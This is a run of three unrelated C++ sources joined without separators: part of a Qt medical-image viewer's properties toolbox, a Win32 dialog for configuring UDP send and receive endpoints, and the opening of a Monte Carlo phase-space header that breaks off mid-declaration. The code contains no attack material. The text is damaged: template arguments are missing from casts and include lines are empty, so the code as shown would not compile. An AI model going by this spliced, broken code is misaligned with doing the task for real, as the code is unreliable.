new QComboBox(); colorComboBox->addItem("Default"); colorComboBox->addItem(createIcon("#000000"),"#000000",QColor("#000000")); colorComboBox->addItem(createIcon("#FFFFFF"),"#FFFFFF",QColor("#FFFFFF")); colorComboBox->addItem(createIcon("#808080"),"#808080",QColor("#808080")); colorComboBox->addItem(createIcon("#800000"),"#800000",QColor("#800000")); colorComboBox->addItem(createIcon("#804040"),"#804040",QColor("#804040")); colorComboBox->addItem(createIcon("#FF8080"),"#FF8080",QColor("#FF8080")); colorComboBox->addItem(createIcon("#FF0000"),"#FF0000",QColor("#FF0000")); colorComboBox->addItem(createIcon("#FFFF80"),"#FFFF80",QColor("#FFFF80")); colorComboBox->addItem(createIcon("#FFFF00"),"#FFFF00",QColor("#FFFF00")); colorComboBox->addItem(createIcon("#FF8040"),"#FF8040",QColor("#FF8040")); colorComboBox->addItem(createIcon("#FF8000"),"#FF8000",QColor("#FF8000")); colorComboBox->addItem(createIcon("#80FF80"),"#80FF80",QColor("#80FF80")); colorComboBox->addItem(createIcon("#80FF00"),"#80FF00",QColor("#80FF00")); colorComboBox->addItem(createIcon("#00FF00"),"#00FF00",QColor("#00FF00")); colorComboBox->addItem(createIcon("#80FFFF"),"#80FFFF",QColor("#80FFFF")); colorComboBox->addItem(createIcon("#00FFFF"),"#00FFFF",QColor("#00FFFF")); colorComboBox->addItem(createIcon("#004080"),"#004080",QColor("#004080")); colorComboBox->addItem(createIcon("#0000FF"),"#0000FF",QColor("#0000FF")); colorComboBox->addItem(createIcon("#0080FF"),"#0080FF",QColor("#0080FF")); colorComboBox->addItem(createIcon("#0080C0"),"#0080C0",QColor("#0080C0")); d->propertiesTree->setItemWidget(coloringItem, 2, colorComboBox); colorComboBox->setCurrentIndex(colorComboBox->findText(d->meshInteractor->color(meshLayer).name().toUpper())); QTreeWidgetItem * renderingItem = new QTreeWidgetItem(d->layerItem, QTreeWidgetItem::UserType+2); renderingItem->setText(1, tr("Rendering")); QComboBox * renderingBox = new QComboBox(); renderingBox->setFocusPolicy(Qt::NoFocus); //renderingBox->addItem("Default"); renderingBox->addItem("Wire frame"); renderingBox->addItem("Surface"); renderingBox->addItem("Points"); d->propertiesTree->setItemWidget(renderingItem, 2, renderingBox); renderingBox->setCurrentIndex(renderingBox->findText(d->meshInteractor->renderingType(meshLayer), Qt::MatchFixedString)); QObject::connect(meshVisibleBox, SIGNAL(stateChanged(int)), this, SLOT(onVisibilitySet(int))); QObject::connect(opacityBox, SIGNAL(valueChanged(int)), this, SLOT(onOpacitySliderSet(int))); QObject::connect(attrBox, SIGNAL(currentIndexChanged(int)), this, SLOT(onAttrBoxChanged(int))); QObject::connect(lutBox, SIGNAL(currentIndexChanged(int)), this, SLOT(onLUTChanged(int))); QObject::connect(edgeVisibleBox, SIGNAL(stateChanged(int)), this, SLOT(onEdgeVisibilitySet(int))); QObject::connect(colorComboBox,SIGNAL(currentIndexChanged(int)),this,SLOT(onColorChanged(int))); QObject::connect(renderingBox, SIGNAL(currentIndexChanged(int)), this, SLOT(onRenderingChanged(int))); //d->propertiesTree->collapseAll(); } void medViewPropertiesToolBox::onDataAdded(dtkAbstractData* data) { } void medViewPropertiesToolBox::onDataAdded( int layer) { } void medViewPropertiesToolBox::onDataAdded(dtkAbstractData* data, int layer) { if(!data) return; if (!d->view) return; //JGG qDebug() << "1"; if(data->identifier().contains("vtkDataMesh")) { if ( ! d->meshInteractor ) d->meshInteractor = dynamic_cast(d->view->interactor ("v3dViewMeshInteractor")); //this solves the layering updating issue and crashes, it is not counting //correctly the meshes coz onDataAdded is not connected when the first mesh is //loaded, it does not happen when an image is loaded first coz onDataAdded //is connected before the first mesh is loaded. Though not best solution in my opinion //it works pretty fine and it will do the MR with other toolbox modifications simpler. int realMeshCount=0; if (d->view->hasImage()) realMeshCount=d->view->meshLayerCount(); else realMeshCount=d->view->meshLayerCount()+1; this->constructMeshLayer(data, realMeshCount); d->view->setMeshLayerCount(d->view->meshLayerCount()+1); } else { this->constructImageLayer(data, d->view->layerCount()-1); } //expand the item that has been added. // qDebug()<<"let's select item:"<propertiesTree->topLevelItemCount()-1; QTreeWidgetItem * newlySelectedItem = d->propertiesTree->topLevelItem( d->propertiesTree->topLevelItemCount()-1); newlySelectedItem->setExpanded(true); //decide whether to show the 2 layers slider: raiseSlider(d->view->layerCount() == 2); } void medViewPropertiesToolBox::clear(void) { d->currentLayer = 0; d->meshInteractor = 0; d->propertiesTree->clear(); raiseSlider(false); d->view = 0; } void medViewPropertiesToolBox::onColorChanged(int selection) { QColor color; switch(selection) { case 1: color = QColor("#000000");break; case 2: color = QColor("#FFFFFF");break; case 3: color = QColor("#808080");break; case 4: color = QColor("#800000");break; case 5: color = QColor("#804040");break; case 6: color = QColor("#FF8080");break; case 7: color = QColor("#FF0000");break; case 8: color = QColor("#FFFF80");break; case 9: color = QColor("#FFFF00");break; case 10: color = QColor("#FF8040");break; case 11: color = QColor("#FF8000");break; case 12: color = QColor("#80FF80");break; case 13: color = QColor("#80FF00");break; case 14: color = QColor("#00FF00");break; case 15: color = QColor("#80FFFF");break; case 16: color = QColor("#00FFFF");break; case 17: color = QColor("#004080");break; case 18: color = QColor("#0000FF");break; case 19: color = QColor("#0080FF");break; case 20: color = QColor("#0080C0");break; } d->meshInteractor->setColor(d->currentLayer, color); } void medViewPropertiesToolBox::onVisibilitySet(int state) { if (!d->view) return; if(!d->isMesh) { if (state == Qt::Checked) d->view->setVisibility(1, d->currentLayer); else d->view->setVisibility(0, d->currentLayer); } else { if (state == Qt::Checked) d->meshInteractor->setVisibility(d->currentLayer, true); else d->meshInteractor->setVisibility(d->currentLayer, false); } d->view->update(); } void medViewPropertiesToolBox::onColorSelected(const QColor& color) { if (!d->view) return; if(!d->isMesh) return; } void medViewPropertiesToolBox::onEdgeVisibilitySet(int state) { if (!d->view) return; if (state == Qt::Checked) d->meshInteractor->setEdgeVisibility(d->currentLayer, true); else d->meshInteractor->setEdgeVisibility(d->currentLayer, false); d->view->update(); } void medViewPropertiesToolBox::onOpacitySliderSet(int opacity) { if (!d->view) return; double d_opacity = static_cast (opacity) / 100.0; if(!d->isMesh) d->view->setOpacity(d_opacity, d->currentLayer); else d->meshInteractor->setOpacity(d->currentLayer, d_opacity); d->view->update(); } void medViewPropertiesToolBox::on2LayersOpacitySliderSet(int opacity) { if (!d->view) return; double d_opacity = static_cast (opacity) / 100.0; d->view->setOpacity(d_opacity, 1); d->view->setOpacity(1.0 - d_opacity, 0); d->view->update(); } void medViewPropertiesToolBox::onAttrBoxChanged(int index) { if ( ! d->view || ! d->isMesh) return; int meshLayer = d->view->currentMeshLayer(); QString attribute = d->attributeList[meshLayer][index]; d->meshInteractor->setAttribute(d->currentLayer, attribute); medAttributeBox * attrBox = dynamic_cast(sender()); attrBox->getLutBox()->setEnabled(index != 0); d->view->update(); } void medViewPropertiesToolBox::onLUTChanged(int index) { if (!d->view) return; if(!d->isMesh) { d->view->setCurrentLayer(d->currentLayer); d->view->setProperty("LookupTable", d->lutList.at(index)); // as the LUT changed we need to change the preset to None (just the preset combobox) // also we won't change the preset back to None if the ww/wl is changed (by design) //Only doable on images, Meshes should be left alone. QString currentLayerItemString = QString::number(d->currentLayer); // we take the first one as there's only one QTreeWidgetItem* layerItem = d->propertiesTree->findItems( currentLayerItemString, Qt::MatchExactly | Qt::MatchWrap, 0)[0]; // the preset item is the fourth one QTreeWidgetItem* presetItem = layerItem->child(3); QComboBox* presetComboBox = dynamic_cast( d->propertiesTree->itemWidget(presetItem, 2)); // 0 == None if (presetComboBox->currentIndex() != 0) { presetComboBox->blockSignals(true); presetComboBox->setCurrentIndex(0); presetComboBox->blockSignals(false); } } else { d->meshInteractor->setLut(d->currentLayer, d->lutList.at(index)); } d->view->update(); } void medViewPropertiesToolBox::onPresetChanged(int index) { //a "Preset" is a prepared selection of 3 values: LUT, window width and window level if (!d->view) return; // anyone knows why this 'if clause' is here? I mean... a preset sets 3 values: LUT + ww/wl // and there IS code for meshes in onLUTchanged (apparently the interactors need to be notified) // but if the LUT is set through this function, they are not // if(d->isMesh) // return; // find the LUT combo box to manually change the new value QString currentLayerItemString = QString::number(d->currentLayer); QTreeWidgetItem* layerItem = d->propertiesTree->findItems(currentLayerItemString, Qt::MatchExactly | Qt::MatchWrap, 0)[0]; // we take the first one as there's only one QTreeWidgetItem* lutItem = layerItem->child(2); // the LUT item is the third one QComboBox* lutComboBox = dynamic_cast(d->propertiesTree->itemWidget(lutItem, 2)); QString lutStringToSet = d->presetToLut[d->presetList.at(index)]; int lutValueToSet = d->lutList.indexOf(lutStringToSet, 0); lutComboBox->blockSignals(true); lutComboBox->setCurrentIndex(lutValueToSet); lutComboBox->blockSignals(false); if(!d->isMesh) { d->view->setCurrentLayer(d->currentLayer); // the setProperty/LUT is called in the v3dView within setProperty/Preset d->view->setProperty("Preset", d->presetList.at(index)); } else { d->meshInteractor->setLut(d->currentLayer, lutStringToSet); } d->view->update(); } void medViewPropertiesToolBox::onRenderingChanged(int index) { if (!d->view) return; d->meshInteractor->setRenderingType(d->currentLayer, d->renderingList.at(index)); d->view->update(); } void medViewPropertiesToolBox::onItemClicked(QTreeWidgetItem * item) { // qDebug()<<"clicked on Item: " << item->text(0); d->propertiesTree->clearSelection(); if (item->type() == QTreeWidgetItem::UserType + 1) { //BEN: we don't try to collapse items, there is always a current layer. // if (item->isExpanded()) // { // d->propertiesTree->collapseItem(item); // } // else { d->propertiesTree->collapseAll(); //blocking signak d->propertiesTree->blockSignals(true); d->propertiesTree->expandItem(item); d->propertiesTree->blockSignals(false); d->currentLayer = item->data(0, LAYER_NUMBER_ROLE).toInt(); bool isMesh = item->data(0, LAYER_IS_MESH_ROLE).toBool(); d->view->setCurrentLayer(d->currentLayer); d->view->update(); if(isMesh) { d->view->setCurrentMeshLayer(d->currentLayer); //meshlayer is set here d->isMesh = true; } else { d->isMesh = false; } } } } void medViewPropertiesToolBox::onContextTreeMenu( const QPoint point ) { QTreeWidgetItem * item = 0; item = d->propertiesTree->itemAt(point); if (!item) return; if (item->type() != QTreeWidgetItem::UserType + 1) return; if (item->text(0).toInt() == 0) return; d->currentLayer = item->text(0).toInt(); item->setSelected(true); QMenu * menu = new QMenu(d->propertiesTree); menu->setFocusPolicy(Qt::NoFocus); QAction * deleteLayer = new QAction(this); deleteLayer->setIcon(QIcon(":icons/cross.svg")); deleteLayer->setIconVisibleInMenu(true); deleteLayer->setText(tr("Delete")); QObject::connect(deleteLayer, SIGNAL(triggered()), this, SLOT(onDeleteLayer())); menu->addAction(deleteLayer); menu->exec(d->propertiesTree->mapToGlobal(point)); delete menu; } void medViewPropertiesToolBox::onDeleteLayer() { //calculate somehow the number of meshes before the image int meshNumber = 0, imageNumber = 0; for (int i = 0; i < d->view->layerCount() + d->view->meshLayerCount(); i++) { if(d->view->dataInList(i) && d->view->dataInList(i)->identifier().contains("vtkDataMesh")) { meshNumber++; } else if(d->view->dataInList(i)) { imageNumber++; } if(imageNumber - 1 == d->currentLayer ) break; } d->view->removeOverlay(meshNumber + imageNumber - 1); //d->view->removeOverlay(d->currentLayer); d->view->update(); //remove item if it was the last item: this should never happen since //we never delete the layer 0... BEN: I removed the test, should never be needed // if (d->currentLayer != 0) { bool reexpand = d->propertiesTree->selectedItems()[0]->isExpanded(); d->propertiesTree->invisibleRootItem()->removeChild(d->propertiesTree->selectedItems()[0]); //select a new item if the currentLayer was expanded if (reexpand) { // qDebug()<<"let's select item:"<< 0; QTreeWidgetItem * newlySelectedItem = d->propertiesTree->topLevelItem(0); newlySelectedItem->setExpanded(true); } } d->propertiesTree->clearSelection(); raiseSlider(d->view->layerCount() == 2); } void medViewPropertiesToolBox::raiseSlider(bool isVisible,double opacity) { if (isVisible) { if (opacity < 0 || opacity > 1) { opacity = d->view->opacity(1); } //set opacity to layer 1's d->slider->setValue( opacity * 100); d->twoLayersWidget->show(); } else { d->twoLayersWidget->hide(); } } void medViewPropertiesToolBox::onSwitchLayersButtonClicked() { if (d->switchLayersButton->text() == d->textLayer0) { d->switchLayersButton->setText(d->textLayer1); raiseSlider(true,0.0); } else { d->switchLayersButton->setText(d->textLayer0); raiseSlider(true,1.0); } } QIcon medViewPropertiesToolBox::createIcon(QString colorName) { QPixmap iconPixmap(32,32); iconPixmap.fill(QColor(colorName)); QIcon itemIcon(iconPixmap); return itemIcon; } void medViewPropertiesToolBox::onWindowingChanged(bool checked) { if (checked && d->view) { d->view->setProperty("MouseInteraction", "Windowing"); } } void medViewPropertiesToolBox::onZoomingChanged(bool checked) { if (checked && d->view) { d->view->setProperty("MouseInteraction", "Zooming"); } } void medViewPropertiesToolBox::onSlicingChanged(bool checked) { if (checked && d->view) { d->view->setProperty("MouseInteraction", "Slicing"); } } void medViewPropertiesToolBox::onMeasuringChanged(bool checked) { if (checked && d->view) { d->view->setProperty("MouseInteraction", "Measuring"); } } void medViewPropertiesToolBox::onAxisVisibilityChanged(bool visible) { if (d->view) { d->view->setProperty("ShowAxis", (visible ? "true" : "false")); d->view->update(); } } void medViewPropertiesToolBox::onScalarBarVisibilityChanged(bool visible) { if (d->view) { d->view->setProperty("ShowScalarBar", (visible ? "true" : "false")); d->view->update(); } } void medViewPropertiesToolBox::onRulerVisibilityChanged(bool visible) { if (d->view) { d->view->setProperty("ShowRuler", (visible ? "true" : "false")); d->view->update(); } } void medViewPropertiesToolBox::onAnnotationsVisibilityChanged(bool visible) { if (d->view) { d->view->setProperty("ShowAnnotations", (visible ? "true" : "false")); d->view->update(); } } void medViewPropertiesToolBox::on2DTriggered(dtkAbstractView* view) { if(view->property("Orientation")=="Axial" || view->property("Orientation")=="Sagittal" || view->property("Orientation")=="Coronal") { d->propertiesView->show(); //d->propView->show(); d->view3dToolBoxWidget->hide(); } } void medViewPropertiesToolBox::on3DTriggered(dtkAbstractView* view) { if(view->property("Orientation")=="3D") { d->propertiesView->hide(); //d->propView->hide(); d->view3dToolBoxWidget->show(); } } void medViewPropertiesToolBox::onModeChanged(QString mode) { if (d->view) { d->view->blockSignals (true); d->view->setProperty("3DMode", mode); d->view->blockSignals (false); d->view->update(); } } void medViewPropertiesToolBox::onVRModeChanged(QString mode) { if (d->view) { d->view->blockSignals (true); d->view->setProperty("Renderer", mode); d->view->blockSignals (false); d->view->update(); } } void medViewPropertiesToolBox::onLodChanged(int value) { if (d->view) { d->view->blockSignals (true); d->view->setMetaData("LOD", QString::number(value)); d->view->blockSignals (false); d->view->update(); } } void medViewPropertiesToolBox::onCroppingChanged(bool checked) { if (d->view) { d->view->blockSignals (true); d->view->setProperty("Cropping", (checked ? "true" : "false")); d->view->blockSignals (false); d->view->update(); } } void medViewPropertiesToolBox::onDepthPeelingChanged(bool checked) { if (d->view) { d->view->blockSignals (true); d->view->setProperty("DepthPeeling", (checked ? "true" : "false")); d->view->blockSignals (false); d->view->update(); } } void medViewPropertiesToolBox::setCurrentInteractionFromSettings() { medSettingsManager * mnger = medSettingsManager::instance(); QString interaction = mnger->value("interactions","mouse", "Windowing").toString(); if (interaction == "Zooming") { d->zoomingPushButton->setChecked(true); } else if (interaction == "Slicing") { d->slicingPushButton->setChecked(true); } else if (interaction == "Measuring") { d->measuringPushButton->setChecked(true); } else { d->windowingPushButton->setChecked(true); } } /** * Changes the orientation property of the view to Axial if checked is true. * * @param checked */ void medViewPropertiesToolBox::onAxialChanged(bool checked) { if (checked && d->view){ d->view->setProperty ( "Orientation", "Axial" ); d->view->update(); on2DTriggered(d->view); } } /** * Changes the orientation property of the view to Sagittal if checked is true. * * @param checked */ void medViewPropertiesToolBox::onSagittalChanged(bool checked) { if (checked && d->view){ d->view->setProperty ( "Orientation", "Sagittal" ); d->view->update(); on2DTriggered(d->view); } } /** * Changes the orientation property of the view to Coronal if checked is true. * * @param checked */ void medViewPropertiesToolBox::onCoronalChanged(bool checked) { if (checked && d->view){ d->view->setProperty ( "Orientation", "Coronal" ); d->view->update(); on2DTriggered(d->view); } } /** * Changes the view to the 3Dmode if checked is true. * * @param checked */ void medViewPropertiesToolBox::onView3DChanged(bool checked) { if (checked && d->view){ d->view->setProperty ( "3DMode", d->view->property ( "3DMode" ) ); d->view->setProperty ( "Orientation", "3D" ); d->view->update(); on3DTriggered(d->view); } } #include #include #include #include #include "resource.h" #include "server\VarController.h" #include "MyMsgProc.h" #include "server\LowDbAccess.h" void ChangeOperationType(int Type, HWND RdoBtn1, HWND RdoBtn2, HWND IpHndl, HWND PortHndl, HWND TgtHndl) { if (Type == 0) { SendMessage(RdoBtn1, BM_SETCHECK, BST_CHECKED, 0L); SendMessage(RdoBtn2, BM_SETCHECK, BST_UNCHECKED, 0L); EnableWindow(IpHndl, TRUE); EnableWindow(PortHndl, TRUE); EnableWindow(TgtHndl, FALSE); } if (Type == 1) { SendMessage(RdoBtn1, BM_SETCHECK, BST_UNCHECKED, 0L); SendMessage(RdoBtn2, BM_SETCHECK, BST_CHECKED, 0L); EnableWindow(IpHndl, FALSE); EnableWindow(PortHndl, FALSE); EnableWindow(TgtHndl, TRUE); } } int GetMsgWidth(HWND WndHndl, TCHAR* Msg) { HDC DevCon = GetDC(WndHndl); SIZE Sze; HFONT FontHndl = CreateFont(16, 0, 0, 0, FW_REGULAR, FALSE, FALSE, FALSE, ANSI_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, PROOF_QUALITY, DEFAULT_PITCH | FF_DONTCARE, _T("Arial")); SelectObject(DevCon, FontHndl); GetTextExtentPoint32(DevCon, Msg, lstrlen(Msg), &Sze); DeleteObject(FontHndl); ReleaseDC(WndHndl, DevCon); return Sze.cx; } int GetMsgHeight(HWND WndHndl, TCHAR* Msg) { HDC DevCon = GetDC(WndHndl); SIZE Sze; HFONT FontHndl = CreateFont(16, 0, 0, 0, FW_REGULAR, FALSE, FALSE, FALSE, ANSI_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, PROOF_QUALITY, DEFAULT_PITCH | FF_DONTCARE, _T("Arial")); SelectObject(DevCon, FontHndl); GetTextExtentPoint32(DevCon, Msg, lstrlen(Msg), &Sze); DeleteObject(FontHndl); ReleaseDC(WndHndl, DevCon); return Sze.cy; } void UdpRecvSend(int CurrentId, int Type, HINSTANCE InstHndl, HWND WndHndl, UINT message, WPARAM wParam, LPARAM lParam) { static HWND IpHndl; static HWND PortHndl; static HWND CloseSockHndl; static HWND RdoBtn1; static HWND RdoBtn2; static HWND TgtHndl; static int SelectedOpeType = 0; static int SelectedTargetId = 0; static int SelectedCheck = 0; if (message == WM_CREATE) { if (Type == 21) { RdoBtn1 = CreateWindow(_T("BUTTON"), MyMsgProc::GetMsg(MyMsgProc::PROP_NET_RECV), WS_CHILD | WS_VISIBLE | BS_RADIOBUTTON, 10, 135, GetMsgWidth(WndHndl, MyMsgProc::GetMsg(MyMsgProc::PROP_NET_RECV)) + 30, GetMsgHeight(WndHndl, MyMsgProc::GetMsg(MyMsgProc::PROP_NET_RECV)), WndHndl, (HMENU)IDC_NET_OPETYPE_ID, InstHndl, NULL); RdoBtn2 = CreateWindow(_T("BUTTON"), MyMsgProc::GetMsg(MyMsgProc::PROP_NET_RECVTGT), WS_CHILD | WS_VISIBLE | BS_RADIOBUTTON, 10, 235, GetMsgWidth(WndHndl, MyMsgProc::GetMsg(MyMsgProc::PROP_NET_RECVTGT)) + 30, GetMsgHeight(WndHndl, MyMsgProc::GetMsg(MyMsgProc::PROP_NET_RECVTGT)), WndHndl, (HMENU)IDC_NET_OPETYPE_SD, InstHndl, NULL); } else { RdoBtn1 = CreateWindow(_T("BUTTON"), MyMsgProc::GetMsg(MyMsgProc::PROP_NET_SEND), WS_CHILD | WS_VISIBLE | BS_RADIOBUTTON, 10, 135, GetMsgWidth(WndHndl, MyMsgProc::GetMsg(MyMsgProc::PROP_NET_SEND)) + 30, GetMsgHeight(WndHndl, MyMsgProc::GetMsg(MyMsgProc::PROP_NET_SEND)), WndHndl, (HMENU)IDC_NET_OPETYPE_ID, InstHndl, NULL); RdoBtn2 = CreateWindow(_T("BUTTON"), MyMsgProc::GetMsg(MyMsgProc::PROP_NET_SENDTGT), WS_CHILD | WS_VISIBLE | BS_RADIOBUTTON, 10, 235, GetMsgWidth(WndHndl, MyMsgProc::GetMsg(MyMsgProc::PROP_NET_SENDTGT)) + 30, GetMsgHeight(WndHndl, MyMsgProc::GetMsg(MyMsgProc::PROP_NET_SENDTGT)), WndHndl, (HMENU)IDC_NET_OPETYPE_SD, InstHndl, NULL); } SIZE BtnWidth; SendMessage(RdoBtn1, BCM_GETIDEALSIZE, 0, (LPARAM)&BtnWidth); CreateWindow(_T("STATIC"), MyMsgProc::GetMsg(MyMsgProc::PROP_NET_IPADDR), WS_CHILD | WS_VISIBLE, 50, 167, 140, 20, WndHndl, NULL, InstHndl, NULL); IpHndl = CreateWindowEx(WS_EX_CLIENTEDGE, _T("EDIT"), _T(""), WS_CHILD | WS_VISIBLE | ES_AUTOHSCROLL, 190, 165, 200, 24, WndHndl, NULL, InstHndl, NULL); CreateWindow(_T("STATIC"), MyMsgProc::GetMsg(MyMsgProc::PROP_NET_PORT), WS_CHILD | WS_VISIBLE, 60, 202, 80, 20, WndHndl, NULL, InstHndl, NULL); PortHndl = CreateWindowEx(WS_EX_CLIENTEDGE, _T("EDIT"), _T(""), WS_CHILD | WS_VISIBLE | ES_AUTOHSCROLL, 190, 200, 70, 24, WndHndl, NULL, InstHndl, NULL); if (Type != 21) { CloseSockHndl = CreateWindow(_T("BUTTON"), MyMsgProc::GetMsg(MyMsgProc::PROP_NET_CLOSE_AFTERSEND), WS_CHILD | WS_VISIBLE | BS_CHECKBOX, 10, 295, GetMsgWidth(WndHndl, MyMsgProc::GetMsg(MyMsgProc::PROP_NET_CLOSE_AFTERSEND)) + 30, GetMsgHeight(WndHndl, MyMsgProc::GetMsg(MyMsgProc::PROP_NET_CLOSE_AFTERSEND)), WndHndl, (HMENU)IDC_NET_CLOSESOCK, InstHndl, NULL); CreateWindow(_T("STATIC"), MyMsgProc::GetMsg(MyMsgProc::PROP_NET_RECEIVER), WS_CHILD | WS_VISIBLE, 70, 267, 100, 20, WndHndl, NULL, InstHndl, NULL); } else { CloseSockHndl = CreateWindow(_T("BUTTON"), MyMsgProc::GetMsg(MyMsgProc::PROP_NET_CLOSE_AFTERRECV), WS_CHILD | WS_VISIBLE | BS_CHECKBOX, 10, 295, GetMsgWidth(WndHndl, MyMsgProc::GetMsg(MyMsgProc::PROP_NET_CLOSE_AFTERRECV)) + 30, GetMsgHeight(WndHndl, MyMsgProc::GetMsg(MyMsgProc::PROP_NET_CLOSE_AFTERRECV)), WndHndl, (HMENU)IDC_NET_CLOSESOCK, InstHndl, NULL); CreateWindow(_T("STATIC"), MyMsgProc::GetMsg(MyMsgProc::PROP_NET_SENDER), WS_CHILD | WS_VISIBLE, 70, 267, 100, 20, WndHndl, NULL, InstHndl, NULL); } TgtHndl = CreateWindowEx(WS_EX_CLIENTEDGE, _T("COMBOBOX"), _T(""), WS_CHILD | WS_VISIBLE | CBS_DROPDOWNLIST | WS_VSCROLL, 190, 265, 200, 200, WndHndl, (HMENU)IDC_NET_SENDER, InstHndl, NULL); // Length limitation for edit boxes of the IP address and the port SendMessage(IpHndl, EM_SETLIMITTEXT, (WPARAM)255, (LPARAM)0); SendMessage(PortHndl, EM_SETLIMITTEXT, (WPARAM)5, (LPARAM)0); // 操作種別の初期化 SelectedOpeType = LowDbAccess::GetInstance()->GetElementInfoParamInt(CurrentId, 1); // Get operation type ChangeOperationType(SelectedOpeType, RdoBtn1, RdoBtn2, IpHndl, PortHndl, TgtHndl); // Switch enable/disable close check box if (Type == 21 && SelectedOpeType == 0) { EnableWindow(CloseSockHndl, FALSE); } if (Type == 21 && SelectedOpeType == 1) { EnableWindow(CloseSockHndl, TRUE); } if (Type != 21 && SelectedOpeType == 0) { EnableWindow(CloseSockHndl, TRUE); } if (Type != 21 && SelectedOpeType == 1) { EnableWindow(CloseSockHndl, FALSE); } // Initialize send/receive target name TCHAR TargetName[256][32]; int TargetId[256]; int MaxNum; if (Type == 21) { int TmpMaxNum1 = LowDbAccess::GetInstance()->GetViewElementNamesAndIdsFromUdpType(TargetName, TargetId, 22); int TmpMaxNum2 = LowDbAccess::GetInstance()->GetViewElementNamesAndIdsFromUdpType(&TargetName[TmpMaxNum1], &TargetId[TmpMaxNum1], 23); MaxNum = TmpMaxNum1 + TmpMaxNum2; } else { MaxNum = LowDbAccess::GetInstance()->GetViewElementNamesAndIdsFromUdpType(TargetName, TargetId, 21); } for (int Loop = 0; Loop < MaxNum; Loop++) { SendMessage(TgtHndl, CB_ADDSTRING, 0, (LPARAM)TargetName[Loop]); } SelectedTargetId = LowDbAccess::GetInstance()->GetElementInfoParamInt(CurrentId, 2); // Get target ID for (int Loop = 0; Loop < MaxNum; Loop++) { if (TargetId[Loop] == SelectedTargetId) { SendMessage(TgtHndl, CB_SETCURSEL, Loop, 0); } } // IP address/hostnameの初期化 TCHAR IpAddrHostname[256]; LowDbAccess::GetInstance()->GetElementInfoParamStr(CurrentId, IpAddrHostname, 1); SendMessage(IpHndl, WM_SETTEXT, (WPARAM)0, (LPARAM)IpAddrHostname); // Portの初期化 int PortNum = LowDbAccess::GetInstance()->GetElementInfoParamInt(CurrentId, 3); // Get port number TCHAR Buf[10]; wsprintf(Buf, _T("%d"), PortNum); SendMessage(PortHndl, WM_SETTEXT, (WPARAM)0, (LPARAM)Buf); // チェックボックスの初期化 SelectedCheck = LowDbAccess::GetInstance()->GetElementInfoParamInt(CurrentId, 4); // Close check box if (SelectedCheck == 0) { SendMessage(CloseSockHndl, BM_SETCHECK, BST_UNCHECKED, 0L); } else if (SelectedCheck == 1) { SendMessage(CloseSockHndl, BM_SETCHECK, BST_CHECKED, 0L); } } if (message == WM_COMMAND) { if (HIWORD(wParam) == CBN_SELCHANGE) { if (LOWORD(wParam) == IDC_NET_SENDER) { TCHAR TgtName[256][32]; int TgtId[256]; if (Type == 21) { int TmpMaxNum = LowDbAccess::GetInstance()->GetViewElementNamesAndIdsFromUdpType(TgtName, TgtId, 22); LowDbAccess::GetInstance()->GetViewElementNamesAndIdsFromUdpType(&TgtName[TmpMaxNum], &TgtId[TmpMaxNum], 23); } else { LowDbAccess::GetInstance()->GetViewElementNamesAndIdsFromUdpType(TgtName, TgtId, 21); } int TmpIndex = (int)SendMessage(TgtHndl, CB_GETCURSEL, 0, 0); SelectedTargetId = TgtId[TmpIndex]; } } if (HIWORD(wParam) == BN_CLICKED) { if (LOWORD(wParam) == IDC_NET_CLOSESOCK) { if (SelectedCheck == 0) { SelectedCheck = 1; SendMessage(CloseSockHndl, BM_SETCHECK, BST_CHECKED, 0L); } else if (SelectedCheck == 1) { SelectedCheck = 0; SendMessage(CloseSockHndl, BM_SETCHECK, BST_UNCHECKED, 0L); } } if (LOWORD(wParam) == IDC_BTNOK) { // Set Ip Address TCHAR IpAddrHostname[256]; SendMessage(IpHndl, WM_GETTEXT, (WPARAM)256, (LPARAM)IpAddrHostname); LowDbAccess::GetInstance()->SetElementInfoParamStr(CurrentId, IpAddrHostname, 1); // Set port number TCHAR PortNum[10] = L""; SendMessage(PortHndl, WM_GETTEXT, (WPARAM)10, (LPARAM)PortNum); int PortNumber = StrToInt(PortNum); if (PortNumber < 0) { PortNumber = 0; } if (PortNumber > 65535) { PortNumber = 65535; } LowDbAccess::GetInstance()->SetElementInfoParamInt(CurrentId, PortNumber, 3); // Operation type LowDbAccess::GetInstance()->SetElementInfoParamInt(CurrentId, SelectedOpeType, 1); // Target ID LowDbAccess::GetInstance()->SetElementInfoParamInt(CurrentId, SelectedTargetId, 2); // Close sock check LowDbAccess::GetInstance()->SetElementInfoParamInt(CurrentId, SelectedCheck, 4); } if (LOWORD(wParam) == IDC_NET_OPETYPE_ID) { ChangeOperationType(0, RdoBtn1, RdoBtn2, IpHndl, PortHndl, TgtHndl); SelectedOpeType = 0; if (Type == 21 && SelectedOpeType == 0) { EnableWindow(CloseSockHndl, FALSE); } if (Type != 21 && SelectedOpeType == 0) { EnableWindow(CloseSockHndl, TRUE); } } if (LOWORD(wParam) == IDC_NET_OPETYPE_SD) { ChangeOperationType(1, RdoBtn1, RdoBtn2, IpHndl, PortHndl, TgtHndl); SelectedOpeType = 1; if (Type == 21 && SelectedOpeType == 1) { EnableWindow(CloseSockHndl, TRUE); } if (Type != 21 && SelectedOpeType == 1) { EnableWindow(CloseSockHndl, FALSE); } } } } } //---------------------------------------------------------------------------// //! //! \file MonteCarlo_RangedSingleObserverPhaseSpaceDiscretizationImpl.hpp //! \author //! \brief The ranged single observer phase space discretization impl. class //! //---------------------------------------------------------------------------// #ifndef MONTE_CARLO_RANGED_SINGLE_OBSERVER_PHASE_SPACE_DISCRETIZATION_IMPL_HPP #define MONTE_CARLO_RANGED_SINGLE_OBSERVER_PHASE_SPACE_DISCRETIZATION_IMPL_HPP // FRENSIE Includes #include "MonteCarlo_SingleObserverPhaseSpaceDiscretizationImpl.hpp" namespace MonteCarlo{ //! The ranged single observer phase space discretization implementation class RangedSingleObserverPhaseSpaceDiscretizationImpl : public SingleObserverPhaseSpaceDiscretizationImpl { public: //! Typedef for the dimension value map typedef SingleObserverPhaseSpaceDiscretizationImpl::DimensionValueMap DimensionValueMap; //! Typedef for the bin index array typedef SingleObserverPhaseSpaceDiscretizationImpl::BinIndexArray BinIndexArray; //! Typedef for the bin index and weight array typedef SingleObserverPhaseSpaceDiscretizationImpl::BinIndexWeightPairArray BinIndexWeightPairArray; //! Constructor RangedSingleObserverPhaseSpaceDiscretizationImpl() { /* ... */ } //! Destructor ~RangedSingleObserverPhaseSpaceDiscretizationImpl() { /* ... */ } //! Assign a discretization to a dimension void 